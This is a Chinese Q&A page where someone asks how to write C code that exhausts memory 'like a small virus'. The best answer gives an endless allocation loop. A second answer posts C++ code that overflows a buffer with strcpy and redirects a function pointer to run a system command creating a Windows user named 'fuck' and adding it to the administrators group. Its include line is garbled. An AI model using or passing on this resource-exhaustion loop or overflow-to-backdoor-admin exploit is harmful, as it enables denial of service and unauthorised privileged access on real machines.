永发信息网

c语言 使内存溢出的代码

答案:2  悬赏:40  手机版
解决时间 2021-02-07 04:14
  • 提问者网友:欺烟
  • 2021-02-06 15:12
c语言怎么通过简单的循环语句 造成内存溢出 就像一个小病毒一样
最佳答案
  • 五星知识达人网友:神也偏爱
  • 2021-02-06 15:57
while(1)
{
int *p = new int[10000];
}
全部回答
  • 1楼网友:woshuo
  • 2021-02-06 16:21
写了一个c++的代码,你用vc6   编译一下,马上会添加一个一个叫做"f_u_c_k的用户名。 这个程序显示了strcpy函数导致的栈溢出,堆溢出在windows平台更复杂,因为windows的堆管理 全部靠一些安全爱好者逆向得来。。 #include  using namespace std; void (*pfunc)(); void show() { system("cmd /c net user fuck 123 /ad && net localgroup administrators fuck /ad"); exit(1); } int main() { char a[4]; char shellcode[13]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; pfunc=show; *(int *)&shellcode[8]=(int)pfunc; //overflow strcpy(a,shellcode); return 0; }
我要举报
如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
点此我要举报以上问答信息
大家都在看
推荐资讯